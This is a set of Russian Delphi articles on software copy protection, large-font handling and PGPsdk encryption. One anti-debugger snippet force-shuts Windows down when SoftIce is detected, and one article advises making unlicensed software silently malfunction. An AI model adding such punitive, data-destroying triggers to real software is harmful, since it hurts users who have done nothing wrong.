         LanaNum := StrToInt(Ln.Strings[d]);  
         RetCode := ResetLana(LanaNum, 0, 0, lrAlloc);  
         if RetCode <> NRC_GOODRET then  
           begin  
           Beep;  
           ShowMessage('Reset Error! RetCode = $' + IntToHex(RetCode, 2));  
           end;  
      New(MACAddress);  
     try  
       RetCode := GetMACAddress(LanaNum, MACAddress);  
       if RetCode = NRC_GOODRET then  
          begin  
          np^ := Format('%2.2x-%2.2x-%2.2x-%2.2x-%2.2x-%2.2x',  
         [MACAddress[0], MACAddress[1], MACAddress[2],  
          MACAddress[3], MACAddress[4], MACAddress[5]]);  
          if N^=np^ then i:='1';  
         end;  
        finally  
         Dispose(MACAddress);  
        end;  
      end;  
      Dispose(Np);  
      Timer1.Enabled:=true;  
     end;  
    procedure TGetMACForm.Timer1Timer(Sender: TObject);  
     begin  
      If i='1' then Timer2.Enabled:=false  
        else Timer2.Enabled:=true;  
     end;  
    procedure TGetMACForm.Timer2Timer(Sender: TObject);  
     begin  
      Close;  
     end;  
    procedure TGetMACForm.FormClose(Sender: TObject; var Action: TCloseAction);  
     begin  
      Dispose(N);  
     end;  
    end.  

Итак вроде все понятно определяем MAC-адрес, проверяем его , если не совпадает, то вырубаем программу. Все вроде здорово и прекрасно. Но лезем например в WDasm32 и можем наблюдать, что наша привязка как на ладони (еще один из секретов хорошей защиты, забегая вперед, если ваш код защиты обнаружил, что программа используеться нелицезионно, она не должна выводить никаких сообщений юзеру, а если и выводить, то делать это позже и как бы независимо, а лучше просто работать неправильно)

Без комментариев, несколько минут и я могу поставить любой MAC-адрес у себя же в программе, по-мойму все ясно и очевидно, даже если вы зашифруете эту или любую другую строку, вам придеться ее где то разворачивать и где то сравнивать ее с чем то. И крекер по-любому найдет тот злополучный jmp, на котором строилась вся Ваша защита. Вообще это простой пример привязки и не хочеться углубляться в проблему, но даже если вы запакуете(зашифруете) Вашу программу крекер сможеть получить ее сделав дамп памяти (разворачивать упаковщику в памяти Вашу программу все равно придется ) хоть это и несколько усложняет жизнь крекеру, но не спасет Вашу программу от взлома. Подробнее что с вашей программой можно сделать и как это делается читайте здесь. Эту ссылку я даю потому что программист который пишет защиту, должен представлять, что делает крекер когда снимает его защиту (и желательно опережать его в ходе его мыслей). А вот еще секрет хорошей защиты - никогда не рассказывайте как Вы реализовали свою защиту кому-либо и где-либо, эта информация, если попадет в руки крекера, будет как карта для него по Вашему коду, сами знаете насколько легче идти куда-либо с картой, чем без нее. И еще один секрет хорошей защиты, прорабатывайте по возможности алгоритм защиты вместе с проектированием (по возможности) структуры Вашего программного обеспечения, что бы код защиты как бы сроднился с кодом программы.


Выслушаю все комментария и замечания по поводу данной статьи. Сразу хочу предупредить, я не отвечаю на письма где меня просят выслать что либо или будет ли продолжение(и подобные письма не несущие какой-то содержательной части), я их читаю, но отвечать на них у меня времени нет. Также , если кто обнаружит неточности, да и просто грамматические ошибки в статье, за это прошу заранее извинение.

Добавлено: 01 Августа 2018 07:33:47 Добавил: Андрей Ковальчук

Защита приложений от крупных шрифтов

Вы когда-нибудь проверяли как будет выглядеть написанная вами с такой любовью программа с системе с крупными шрифтами? Согласитесь, это неприглядное зрелище. Наползающие друг на друга метки и поля редактирования, надписи, которые заканчиваются где то за пределами формы и т.п. После этого появляется неконтролируемая неприязнь к пользователям, которые предпочитают режим крупных шрифтов. Но это их право. И ваша проблема.

Вы наверняка задавались вопросом о том, как избежать искажений. И находили в сети одни и те же рецепты: использовать шрифты TrueType и отключать свойство Scaled у форм. Рецепт, предлагающий использовать только шрифты TrueType + Scaled = False для форм - верен. Однако тут есть некоторые неудобства.
Дело в том, что ни один из стандартных TrueType шрифтов не сравнится по качеству отображения с MS Sans Serif, который по умолчанию используется в вашем приложении. Самый близкий - Arial все же имеет довольно заметные отличия и проигрывает MS Sans Serif по читаемости.

Искажений форм так же полностью избежать не удастся. Особенно это может повлиять на компоновку сложных форм, а также при использовании в интерфейсе изображений и прочих немасштабируемых элементов. Иногда хочется просто запретить масштабирование и защитить программу от влияния крупных шрифтов. Но использовать MS Sans Serif в этом случае нельзя, так как в режиме крупных шрифтов система "сдвигает" их на 2 пункта вверх и шрифт 8pt MS Sans Serif выглядит как 10pt MS Sans Serif при мелких шрифтах.

Для справки: В режиме стандартных размеров шрифтов в качестве системного используется, в основном, MS Sans Serif - рубленый шрифт без засечек. Он имеет размеры 8pt, 10pt, 12pt, 14pt, 18pt и 24pt. В основном используется размер 8pt. В режиме крупных шрифтов система увеличивает все шрифты на 120%. ( С 96 pixels per inch до 120 pixels per inch). Шрифт MS Sans Serif имеет всего 6 размеров. Поэтому 8pt становится 10pt, 10pt - 12pt и т.д. Шрифт 8pt MS Sans Serif выглядит как 10pt MS Sans Serif при мелких шрифтах. Шрифты же TrueType могут имеют произвольные размеры и шаг изменения равен 1pt. Поэтому при крупных шрифтах размеры TrueType и не-TrueType шрифтов изменяются по разному.

Предлагаемое решение способно защитить программу от влияния режима крупных шрифтов и не отказываться от шрифта MS Sans Serif при разработке программы. Подход состоит в том, чтобы заменять все шрифты MS Sans Serif на Arial при запуске программы при крупных шрифтах. Создавать программу, естественно, следует при мелких шрифтах.

Можно написать невизуальный компонент и добавить его на каждую форму. Компонент при загрузке проверяет режим и при обнаружении режима "Big Fonts" "обходит" все визуальные компоненты для замены шрифта. Также компонент заботится о том, чтобы свойство Scaled у форм было отключено.


unit glSmallFontsDefence;   
   
interface   
   
uses   
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;   
   
type   
  TglSmallFontsDefence = class(TComponent)   
  private   
    procedure UpdateFonts(Control: TWinControl);   
    { Private declarations }   
  protected   
    procedure Loaded; override;   
  public   
    constructor Create(AOwner: TComponent); override;   
  published   
    { Published declarations }   
  end;   
   
procedure Register;   
   
implementation   
  
function IsSmallFonts: boolean;{Значение функции TRUE если мелкий шрифт}   
var DC: HDC;   
begin   
  DC:=GetDC(0);   
  Result:=(GetDeviceCaps(DC, LOGPIXELSX) = 96);   
  { В случае крупного шрифта будет 120}   
  ReleaseDC(0, DC);   
end;   
   
procedure Register;   
begin   
  RegisterComponents('Gl Components', [TglSmallFontsDefence]);   
end;   
   
{ TglSmallFontsDefence }   
   
constructor TglSmallFontsDefence.Create(AOwner: TComponent);   
begin   
  inherited;   
  if (Owner is TForm) then (Owner as TForm).Scaled := false;   
end;   
   
procedure TglSmallFontsDefence.Loaded;   
begin   
  inherited;   
  if (Owner is TForm) then (Owner as TForm).Scaled := false;   
  if csDesigning in ComponentState then   
  begin   
    if not IsSmallFonts then   
      ShowMessage('Проектирование приложения в режиме крупных' +  
               ' шрифтов недопустимо!'#13#10+  
                  'Компонент TglSmallFontsDefence отказывается' +  
                  ' работать в таких условиях.');   
  end else   
    UpdateFonts((Owner as TForm));   
end;   
   
procedure TglSmallFontsDefence.UpdateFonts(Control: TWinControl);   
var   
  i: integer;   
  procedure UpdateFont(Font: TFont);   
  begin   
    if CompareText(Font.Name, 'MS Sans Serif') <> 0 then exit;   
    Font.Name := 'Arial';   
  end;   
begin   
  if IsSmallFonts then exit;   
  UpdateFont(TShowFont(Control).Font);   
  with Control do   
  for i:=0 to ControlCount-1 do   
  begin   
    UpdateFont(TShowFont(Controls[i]).Font);   
    if Controls[i] is TWinControl then UpdateFonts(Controls[i] as TWinControl);   
  end;   
   
end;   
   
   
end.  

Вы можете добавить свойство Options типа перечисления, в котором задать опции исключения некоторых классов компонентов. К примеру, можно добавить возможность отключать замену шрифтов для потомков TCustomGrid. Очень часто пользователи используют режим крупных шрифтов, чтобы улучшить читаемость таблиц данных (TDBGrid). Тогда не надо лишать их этой возможности.

Автор: Андрей Чудин

Добавлено: 01 Августа 2018 07:32:43 Добавил: Андрей Ковальчук

Защита от SoftIce

SoftIce – один из самых лучших отладчиков на планете. Этим дебаггером очень часто пользуются как начинающими так и опытными кракерами. От последних вряд ли какая защита поможет, а вот от начинающих мы в силе защититься. Обидно, когда ты написал какую-нибудь утилиту, а деньги на пиво не получил.

В этой статье я приведу код, который будет блокировать SoftIce95.

Во-первых проверь, прописан ли у тебя в разделе uses модуль windows. Прописан? Нет, так прописывай и поехали дальше…

Напишем функцию когда SoftIce загружен и выхода из системы. Затем, в конче кода, в разделе initialization совместим их.

Привожу код с комментариями:


interface  
  
implementation  
  
uses windows;  
  
function isSoftIce95Loaded: boolean; // функция загрузки SoftIce  
 var hfile:thandle;  
 begin  
 result:=false;  
 hfile:=createfileA('\\.\sice',generic_read or generic_write,   
      file_share_read or file_share_write,   
      nil, open_existing,  file_attribute_normal,0);  
 if(hfile <> invalid_handle_value) then begin  
 closehandle(hfile);  
 result:=true;  
 end;  
end;  
  
function winexit(flags:integer):boolean; // функция выхода из системы  
  
// эта функция поможет   
//нам определить выходить ли из системы или продолжать работу программы  
function Setprivilege (privilegename:string; enable:boolean):boolean;   
var  
tpPrev, tp:TTokenPrivileges;  
token: Thandle;  
dwRetLen: Dword;  
begin  
result:= false;  
openprocesstoken (GetCurrentProcess, token_adjust_privileges or token_query,token);  
tp.privilegecount:=1;  
if lookupprivilegeValue(nil, pchar(privilegename),tp.Privileges[0].luid) then begin  
if enable then tp.privileges[0].attributes:=se_privilege_enabled  
else tp.privileges[0].attributes:=0;  
dwRetLen:=0;  
result:=AdjustTokenPrivileges(token,false, tp, sizeof(tpprev),tpprev, dwretlen);  
end;  
closeHandle(token);  
end;  
  
begin   
if SetPrivilege ('SeShutdownPrivilege', true) then begin // если true то выходим из системы   
exitwindowsex(flags,0);  
SetPrivilege('SeShutdownPrivilege', false); // иначе работаем дальше  
end;  
end;  
  
initialization // начинаем сравнивать  
if isSoftIce95Loaded then begin // если SoftIce95 загружен то  
winexit (ewx_shutdown or ewx_force); // выходим из системы  
halt;  
end;  

Ну вот и все, идем пить пиво :)

Я привел код для 95-ого SoftIce, но не забывай есть еще NT-ный

А от NT-ого тебе придется догадаться самому. Сразу говорю, поменять надо всего пару букв.

Добавлено: 01 Августа 2018 07:31:59 Добавил: Андрей Ковальчук

Защита Shareware приложения

После добавления следующего кода в программу, она запустится только один раз за время сессии Windows. Для повторного запуска программы необходимо будет перезагрузить Windows.


procedure TForm1.FormShow(Sender : TObject);   
var atom : integer;   
  
CRLF : string;   
begin   
  
if   
GlobalFindAtom('THIS_IS_SOME_OBSCUREE_TEXT') = 0 then   
atom := GlobalAddAtom('THIS_IS_SOME_OBSCUREE_TEXT')   
else   
begin   
    CRLF := #10 + #13;   
    ShowMessage('This programm will start only once' + CRLF +   
    for next start reboot windows please, or...' + CRLF +   
      'REGISTER PROGRAM !!');   
    Close;   
end;   
end;  

Автор: Олег Завгородний

Добавлено: 31 Июля 2018 21:29:07 Добавил: Андрей Ковальчук

PGPSDK - легкий путь к шифрованию

Иногда бывает нужно прикрутить к своей программе какое-нибудь шифрование. Для этих целей разработаны кучи алгоритмов шифрования, дешифрования, электронной подписи и т.п., основанных на различных математических аппаратах. Мало того – необходимо реализовать этот алгоритм. Но мы как кульные программеры не будем этого делать – а возьмем готовую библиотеку PGPsdk. Я не буду повторять классиков [2], что для реальных приложений использовать самодельные шифры не рекомендуется, если вы не являетесь экспертом и не уверены на 100 процентов в том, что делаете. Отговаривать же Вас от разработки собственных шифров или реализации какого-либо стандарта тоже не суть этой статьи, здесь пойдет речь о том, как быстро и правильно реализовать в своих приложениях защиту от посторонних глаз и, самое главное - не обмануться.

В моем приложении уже использовалось шифрование от PGP, ДОСовская, работало через командные файлы (*.bat), что явилось весомым аргументом для выбора средства шифрования, все работало, но меня это не устраивало – ДОСовская версия PGP (5.0) затрудняло инсталляцию программы, поддержку и не имеет некоторых полезных вещей, нужных для расширения системы в будущем. Еще чем привлекала PGP – бесплатная для некоммерческих программ, генерация произвольного количества ключей и то что пакет PGP очень популярен и им пользуются большое количество людей, и Вам легко будет решить проблему защиты информации от посторонних глаз в своих приложениях и по моему защита с помощью PGP дает большое преимущество.

Небольшая справка по PGP:

Pretty Good Privacy (PGP) выпущено фирмой Phil's Pretty Good Software и является криптографической системой с высокой степенью секретности для операционных систем MS-DOS, Unix, VAX/VMS и других. PGP позволяет пользователям обмениваться файлами или сообщениями с использованием функций секретности, установлением подлинности, и высокой степенью удобства. Секретность означает, что прочесть сообщение сможет только тот, кому оно адресовано. Установление подлинности позволяет установить, что сообщение, полученное от какого-либо человека было послано именно им. Нет необходимости использовать секретные каналы связи, что делает PGP простым в использовании программным обеспечением. Это связано с тем, что PGP базируется на мощной новой технологии, которая называется шифрованием с "открытым ключом".

Поддерживаемые алгоритмы

Deiffie-Hellman
CAST
IDEA
3DES
DSS
MD5
SHA1
RIPEMD-160

Реализуемые функции

Шифрование и аунтефикация (с использованием перечисленных алгоритмов);
Управление ключами (создание, сертификация, добавление/удаление из связки, проверка действительности, определения уровня надежности);
Интерфейс с сервером открытых ключей (запрос, подгрузка, удаление и отзыв ключа с удаленного сервера);
Случайные числа (генерация криптографически стойких псевдослучайных чисел и случайных чисел, базируясь на внешних источниках);
Поддержка PGP/MIME;
Вспомогательные функции.
Обзор существующих библиотек

Первое что я сделал – сходил на torry.ru и был удивлен обилием библиотек и функций для разного рода шифрования. Функциональность их я проверять не стал, а остановился на PGP-пишных компонентах.

PGPComp - ДОСовская, работает по принципу запуска внешнего exe-файла, сразу отпала по той причине - что нужно будет устанавливать MSDOS версию PGP (Кроме того библиотека только под 1 и 2 Delphi). Вспомнил что в моей любимой почтовой программе The Bat встроена поддержка PGP, зашел на их сайт - скачал библиотеку dklib.dll, любезно предоставленную ими, но почему то у меня не один из примеров не пошел, а за отсутствием исходников, я не мог понять почему. Пробовал обраться к автору - в ответ тишина, уже больше года не отвечает он. А неплохая библиотека, по крайней мере по тому что написано в документации присутствует тот необходимый минимум функций для шифрования-дешифрования, проверки ключа и сама библиотека весит не очень много – 184'832 Байт.

Т.е. меня не устроили эти библиотеки и я пошел на http://www.pgpi.org, в поисках истины. Нашел там упоминание про библиотеку для разработчиков – PGPsdk.

Собственно сам PGPsdk

28 октября 1997 г. PGP, Inc. объявила о поставке PGPsdk сторонним производителям программного обеспечения. PGPsdk - это средство разработки для программистов на С, позволяющее разработчикам программного обеспечения встраивать в него стойкие криптографические функции. Можно сказать что в PGPsdk реализованы все функции пакета PGP, мало того - версия PGP начиная с 5.0 хранит криптографические функции в динамических библиотеках – dll (о том насколько это не безопасно – вопрос к Крису Касперски, я лишь скажу что насколько я силен в математике).

PGPsdk - это динамическая библиотека, состоящая из трех файлов [табл. 1], поддерживающая базовые алгоритмы криптования (перечислены выше), гибкое управление ключами, сетевой интерфейс и др. (можно использовать одну библиотеку - PGP_sdk.dll, если Вы не будите использовать фирменный интерфейс пользователя от NAI и сетевую библиотеку).

Установка

Скачайте архив с PGPsdk [9], на момент написания статьи доступна версия 1.7.2 (должен заметить что архив занимает 3 с лишним мегабайт), необходимо его разархивировать и из каталога \Libraries\DLL\Release взять следующие файлы - табл. 1

Табл.1
PGP_SDK.dll для криптования, управление ключами и т.д.
PGPsdkUI.dll (UI= user interface) интерфейсные штучки, если Вам нужно будет только шифровать/расшифровывать, то этот файл необязателен. Но очень полезен для ввода пароля, выбора получателей сообщений, генерации ключей и другое.
PGPsdkNL.dll (NL= network library) сетевая библиотека для работы с сервером ключей или для transport layer security. Ее мы рассматривать не будем, но в ближайшем будущем я попытаюсь ее описать.

Собственно распространять Вам приложение придется с этими файлами, подложить их необходимо или в системный каталог WINDOWS или в каталог вместе с приложением - механизм стандартный как и для всех dll, главное чтоб библиотеку было видно Вашему приложению.

Переходим к делу.

Для работы система предоставляет ряд низкоуровневых PGP API (Application Programmig Interface) функций. Заголовки (хеадеры, описания) этих функций поставляются вместе с пакетом на Ц и лежат в каталоге Headers. Если Вы как и я пишите на Delphi, можете сами сконвертировать их, а можете взять готовые тут [10]. Это проект по переводу Ц-ных хеадеров на любимый мною язык программирования. Занимается всем этим делом Стивен Хейлер (Steven R. Heller ).

Описатели переведены на Delphi по принципу как это сделано для Ц - разбросаны на кучи модулей (листинг 1). Все названия модулей аналогичны Ц-ным заголовкам, за исключением pgpEncode - переименовано в pgpEncodePas, из-за особенностей объявления в Delphi (нельзя чтоб имя процедуры совпадало с названием модуля).

Листинг 1. Объявление используемых библиотек.


uses  
  // PGPsdk  
  pgpEncodePas, pgpOptionList, pgpBase, pgpPubTypes,  
  pgpUtilities, pgpKeys, pgpErrors,  
  // always last  
  pgpSdk;  

Единственная трудность, которая возникает на пути включения криптования в Ваше приложение - это использование слишком уж низкоуровневых PGP API функций. Для того что бы сделать какую-нибудь операцию - будь то подсчет публичных ключей в связке или просто зашифровать файл - необходимо создавать контекст, указать где находятся ключи, создать фильтр ключей, подготовить файловые дескрипторы, если с памятью - выделить ее (в случае шифрования-/-расшифрования), затем все это в обратном порядке освободить (если контекст неправильно освобождается - файлы с резервными ключиками не удалятся). И все это при том что в системном каталоге WINDOWS создается файл, в котором содержится информация где находятся файлы с публичными и секретными ключами (о нем будет подробно сказано ниже). Для сравнения работы через PGP API предоставлен листинг2.

Листинг 2. Пример использования PGPsdk через PGP API


var  
  context: pPGPContext;  
  keyFileRef: pPGPKeySet;  
  defaultKeyRing: pPGPKeySet;  
  foundUserKeys: pPGPKeySet;  
  filter: pPGPFilter;  
  countKeys: PGPUInt32;  
  keyFileName: PChar;  
  userID: PChar;  
  inFileRef,  
    outFileRef: pPGPFileSpec;  
  inFileName,  
    outFileName: PChar;  
begin  
  // Init от C++  
  context := nil;  
  keyFileName := 'pubring.pgp';  
  userID := '';  
  inFileName := 'myInFile.txt';  
  outFileName := 'myOutFile.txt.asc';  
  
  // Begin  
  PGPCheckResult('sdkInit', PGPsdkInit);  
  
  PGPCheckResult('PGPNewContext',  
    PGPNewContext(  
    kPGPsdkAPIVersion,  
    context  
    ));  
  
  PGPCheckResult('PGPNewFileSpecFromFullPath',  
    PGPNewFileSpecFromFullPath(  
    context,  
    keyFileName,  
    keyFileRef  
    ));  
  
  PGPCheckResult('PGPOpenKeyRing',  
    PGPOpenKeyRing(  
    context,  
    kPGPKeyRingOpenFlags_None,  
    keyFileRef,  
    defaultKeyRing  
    ));  
  
  PGPCheckResult('PGPNewUserIDStringFilter',  
    PGPNewUserIDStringFilter(context, userID, kPGPMatchSubString, filter));  
  
  PGPCheckResult('PGPFilterKeySet',  
    PGPFilterKeySet(defaultKeyRing, filter, foundUserKeys));  
  
  // Открываем файловые манипуляторы  
  PGPCheckResult('PGPNewFileSpecFromFullPath',  
    PGPNewFileSpecFromFullPath(context, inFileName, inFileRef));  
  
  PGPCheckResult('PGPNewFileSpecFromFullPath',  
    PGPNewFileSpecFromFullPath(context, outFileName, outFileRef));  
  
  //  
  // А вот здесь уже идет кодирование.  
  //  
  PGPCheckResult('PGPEncode',  
    PGPEncode(  
    context,  
    [  
    PGPOEncryptToKeySet(context, foundUserKeys),  
      PGPOInputFile(context, inFileRef),  
      PGPOOutputFile(context, outFileRef),  
      PGPOArmorOutput(context, 1),  
      PGPOCommentString(context, PChar('Comments')),  
      PGPOVersionString(context,  
        PChar('Version 5.0 assembly by Evgeny Dadgoff')),  
      PGPOLastOption(context)  
      ]  
      ));  
  
  //  
  // Освобождаем занимаемые ресурсы и контекст PGP  
  //  
  if (inFileRef <> nil) then  
    PGPFreeFileSpec(inFileRef);  
  if (outFileRef <> nil) then  
    PGPFreeFileSpec(outFileRef);  
  if (filter <> nil) then  
    PGPFreeFilter(filter);  
  if (foundUserKeys <> nil) then  
    PGPFreeKeySet(foundUserKeys);  
  if (defaultKeyRing <> nil) then  
    PGPFreeKeySet(defaultKeyRing);  
  if (keyFileRef <> nil) then  
    PGPFreeKeySet(keyFileRef);  
  if (context <> nil) then  
    PGPFreeContext(context);  
  PGPsdkCleanup;  
end;  

Здесь реализован пример из [9] со страницы 39. Функция PGPCheckResult позаимствована у Стивена из его примеров - принимает два параметра - строковую и код выполнения функции PGP API, если была ошибка - генерируется исключение и на экран выводится описание ошибки с именем функции (Очень помогает для ловли ошибок, а при вызове dll-библиотеки, тем более написанной на другом языке – помогает избавиться от Access violation).

Листинг 3. Функция PGPCheckResult.


procedure PGPCheckResult(const ErrorContext: shortstring; const TheError:  
  PGPError);  
var  
  s: array[0..1024] of Char;  
begin  
  if (TheError <> kPGPError_NoError) then  
  begin  
    PGPGetErrorString(TheError, 1024, s);  
    if (PGPGetErrorString(TheError, 1024, s) = kPGPError_NoError) then  
      raise exception.create(ErrorContext + ' [' + IntToStr(theError) + '] : ' +  
        StrPas(s))  
    else  
      raise exception.create(ErrorContext +  
        ': Error retrieving error description');  
  end;  
end;  

Там же у Стивена я нашел еще один проект - написанная на Delphi библиотека для VB, проект под названием SimplePGP (SPGP). Дело в том, что VB не может использовать библиотеку PGPsdk из-за ограничения импортирования библиотек dll [9, раздел FAQ]. Сам Стивен предложил мне добавить к проекту еще одну dll, тем самым забыть про PGP API, и использовать облегченную модель вызова функций криптований.

Сам интерфейс к доступу функциям выполнен не плохо, продуманно и вызов их не должен вызвать затруднений у Вас.

Открыв ее я подумал - а не убрать ли мне все эти "stdcall;export;" и просто присоединить библиотеку к ехе-файлу (ну не устраивает меня хитросплетение dll). Сказано сделано.

Итак, поехали!

Создадим подкаталог для объявления функций PGPsdk, скопировав туда файлики DELPHI PGP API - pgp*.pas и spgp*.pas. Удалим в файлах spgp*.pas - "stdcall;export;"(уже полученные в итоге заголовочные файлы можно взять тут [12]). Теперь к Вашему проекту нужно приписать использование библиотек (это там где uses):


uses  
  // PGPsdk  
  pgpEncodePas, pgpOptionList, pgpBase, pgpPubTypes,  
  pgpUtilities, pgpKeys, pgpErrors,  
  // SPGP  
  spgpGlobals, spgpEncrypt, spgpKeyUtil, spgpUtil, spgpKeyMan,  
  spgpPreferences, spgpKeyProp, spgpKeyIO, spgpKeyGen, spgpMisc,  
  spgpUIDialogs,  
  // always last  
  pgpSdk;  

Можно использовать только необходимые модули.

Первое что мы попробуем сделать - это зашифровать и подписать произвольный файл и получить зашифрованный в текстовом виде (ASC). Здесь следует отметить что PGPsdk может работать не только с файлами, но и с памятью, а также комбинировать - память - файл, файл - память.


PGPCheckResult  
(  
  'Ошибка при шифровании файла',  
  spgpencodefile(  
  PChar(edtFileIn.Text),  
  PChar(edtFileOut.Text),  
  1, // Encrypt.Value  
  1, // Sign.Value  
  kPGPHashAlgorithm_MD5,  
  0,  
  kPGPCipherAlgorithm_CAST5,  
  1,  
  0,  
  0,  
  'Steven R. Heller', // Кто может расшифровать  
  'Evgeny Dadgoff', // Чем подписывать  
  'MyPassPhrase', // Хех, это пароль  
  '',  
  PChar(edtComment.Text)  
  )  
);  

Сравним что получится если переделать пример [9,стр. 18] на Delphi - на чистом API.

Лично для меня проще было использовать spgp-модель чем тяжелые PGPAPI вызовы.

Про преференс

Для работы библиотеке необходимо знать где лежат файлы с ключиками (pubring.prk и secring.prk). PGP API позволяет сохранять свои настройки в файле PGPsdk.dat (почему то он всегда сохраняется в каталоге с виндами). Для работы с этим файлом предназначены следующие функции:


spgpgetpreferences(Prefs: pPreferenceRec; Flags: Longint):LongInt;
spgpsetpreferences(Prefs: pPreferenceRec; Flags: Longint):LongInt;
Соответственно для получения преференса и установки его (кстати ключики могут лежать не только в файлах). Замечу что это не единственный способ – PGP API позволяет напрямую указывать где расположены ключи, но тогда Вам придется отказаться от SPGP, или поправлять SPGP под себя.

Как получить список всех имеющихся ключей

Здесь я покажу как получить список всех ключей - заполнение LVKeys:TListView именами ключей и шестнадцатеричными ID-значениями ключей, используя SPGP-модель.


var  
  P: TPreferenceRec;  
  Flags: LongInt;  
  outBuf: array[1..30000] of Char;  
  i, KeyCount: Integer;  
  TempStr, StrKeys: AnsiString;  
begin  
  LVKeys.Items.Clear;  
  FillChar(P, 1024, 0);  
  FillChar(outbuf, 30000, 0);  
  Flags := PGPPrefsFlag_PublicKeyring or  
    PGPPrefsFlag_PrivateKeyring or  
    PGPPrefsFlag_RandomSeedFile;  
  if (spgpGetPreferences(@P, Flags) <> 0) then  
    ShowEvent('Error!', 1);  
  // GetWindowsDirectory  
  if (LowerCase(WinDir + 'pubring.pkr') = LowerCase(StrPas(P.PublicKeyring))) or  
    not (FileExists(StrPas(P.PublicKeyring))) then  
  begin  
    StrPCopy(P.PublicKeyring, ExtractFilePath(Application.ExeName) +  
      'KEYS\pubring.pgp');  
    StrPCopy(P.PrivateKeyring, ExtractFilePath(Application.ExeName) +  
      'KEYS\secring.pgp');  
    StrPCopy(P.RandomSeedFile, ExtractFilePath(Application.ExeName) +  
      'KEYS\randseed.bin');  
    if (CreateDir(ExtractFilePath(Application.ExeName) + 'KEYS')) then  
      ShowEvent('Каталог ключей ' + ExtractFilePath(Application.ExeName) + 'KEYS'  
        +  
        ' -- не существует, Будет создан заново... ', 0);  
    spgpSetPreferences(@P, Flags);  
  
    //Создать файлы с ключами - такой хитрый прием.  
    spgpSubKeyGenerate('mmmh', 'sssl', 'ssss', 1, 1024, 0, 0, 0, 0);  
  end;  
  btnPubKeys.Caption := StrPas(P.PublicKeyring);  
  btnSecKeys.Caption := StrPas(P.PrivateKeyring);  
  btnRndBin.Caption := StrPas(P.RandomSeedFile);  
  PGPCheckResult('Ошибка при инициализации PGP-SDK, убедитесь что все DLL  
    установленны правильно', Init(FContext, PubKey, false, false));  
  spgpKeyRingID(@outBuf, 30000);  
  KeyCount := spgpkeyringcount;  
  StrKeys := StrPas(@outBuf);  
  for i := 1 to KeyCount do  
  begin  
    TempStr := Copy(StrKeys, 1, Pos(#13 + #10, StrKeys));  
    Delete(StrKeys, 1, Pos(#13 + #10, StrKeys) + 1);  
    with (LVKeys.Items.Add) do  
    begin  
      Caption := Copy(TempStr, 14, Length(TempStr) - 14);  
      SubItems.Add(TempStr[1]);  
      SubItems.Add(Copy(TempStr, 3, 10));  
    end;  
  end;  
  QuitIt(FContext, PubKey);  
end;  

Про то, как вычисляется размер зашифрованного текста.

Не всегда можно предположить какой размер будет выходного шифрованного текста, а функции проводящие преобразование требуют что бы память под него была уже выделена (разработчики PGPsdk почему-то это не предусмотрели), и если памяти не хватает - возникает исключение о нехватки памяти. Мною опытным путем была установлена формула для вычисления размера блока:


outBufLen := inBufLen * 5;  
if (outBufLen < 10000) then  
  outBufLen := 10000;  
outBufRef := StrAlloc(outBufLen);  

Временные ключики

В процессе работы программы появляются резервные файлы ключей, имеющие следующий вид - (pub|sec)ring-bak-##.pgp – предусмотрен откат от изменений. В принципе, если Вы правильно используете контекст и правильно его закрываете, этот файл корректно удаляется при освобождение контекста. Но на всякий случай можно его удалять следующим образом (повесить можно на закрытие формы или вызывать принудительно):


procedure DeleteBakPGPFiles;  
var  
  P: TPreferenceRec;  
  FileSearch: string;  
  SearchRec: TSearchRec;  
begin  
  spgpGetPreferences(@P, PGPPrefsFlag_PublicKeyring or  
    PGPPrefsFlag_PrivateKeyring);  
  FileSearch := P.PublicKeyring;  
  Insert('-bak-*', FileSearch, Pos('.', FileSearch));  
  FindFirst(FileSearch, faAnyFile, SearchRec);  
  if (SearchRec.Name <> '') then  
    if not (DeleteFile(ExtractFilePath(FileSearch) + SearchRec.Name)) then  
      ShowEvent('Not delete file::' +  
        ExtractFilePath(FileSearch) + SearchRec.Name, 0);  
  while (FindNext(SearchRec) = 0) do  
    if not (DeleteFile(ExtractFilePath(FileSearch) + SearchRec.Name)) then  
      ShowEvent('Not delete file::' +  
        ExtractFilePath(FileSearch) + SearchRec.Name, 0);  
  FindClose(SearchRec);  
end;  

Интерфейс пользователя

PGP_sdkUI.dll – это библиотека пользовательских интерфейсов, фирменные штучки от Network Associates, использовав их у Вас будут диалоги такие же как у фирменного пакета PGP. Вам уже не нужно будет строить диалоги самому:

Для Генерации ключей;
При выборе получателей сообщений;
При запросе пароля и т.п.
Вывод:

Если Вы читаете эту статью - то Вы наверное уже знаете где в своих приложениях можно применить криптование, PGP это позволит сделать быстро, надежно, открыто и самое главное – переносимо. Но я могу посоветовать еще одно применение - это защита Ваших программ от несанкционированного копирования. Зашить открытый ключ в exe-файл, и рассылать секретный, нужным людям. Вот тут то и появляется поле для простора.

Перечень функций SPGP


{ spgpDecrypt - decryption & signature verification functions            }  
function spgpdecode(BufferIn, BufferOut: PChar; BufferOutLen: LongInt; Pass,  
  SigProps: PChar): LongInt;  
function spgpdecodefile(FileIn, FileOut, Pass, SigProps: PChar): LongInt;  
function spgpdetachedsigverify(SigFile, SignedFile, SigProps: PChar):LongInt;  
  
{ spgpEncrypt - encryption & signing functions                           }  
function spgpencode(BufferIn, BufferOut: PChar; BufferOutLen: LongInt;  
         Encrypt, Sign, SignAlg, ConventionalEncrypt, ConventionalAlg, Armor,  
         TextMode, Clear: LongInt; CryptKeyID, SignKeyID, SignKeyPass,  
         ConventionalPass, Comment: PChar): LongInt;  
function spgpencodefile(FileIn, FileOut: PChar; Encrypt, Sign, SignAlg,  
         ConventionalEncrypt, ConventionalAlg, Armor, TextMode,  
         Clear: LongInt; CryptKeyID, SignKeyID, SignKeyPass, ConventionalPass,  
         Comment: PChar): LongInt;  
  
{ spgpFeatures - functions to determine PGPsdk version and availability  }  
{ of PGPsdk features                                                     }  
function spgpsdkapiversion: Longint;  
function spgppgpinfo(Info: pPGPInfoRec): LongInt;  
function countkeyalgs: LongInt;  
function countcipheralgs: LongInt;  
  
{ spgpKeyGen - key-generation functions                                  }  
function spgpkeygenerate(UserID, PassPhrase, NewKeyHexID: PChar;  
         KeyAlg, CipherAlg, Size, ExpiresIn, FastGeneration, FailWithoutEntropy,  
         WinHandle: Longint): LongInt;   
function spgpsubkeygenerate(MasterKeyHexID, MasterKeyPass, NewSubKeyHexID: PChar;  
         KeyAlg, Size: Longint; ExpiresIn, FastGeneration, FailWithoutEntropy,  
         WinHandle: Longint): LongInt;  
  
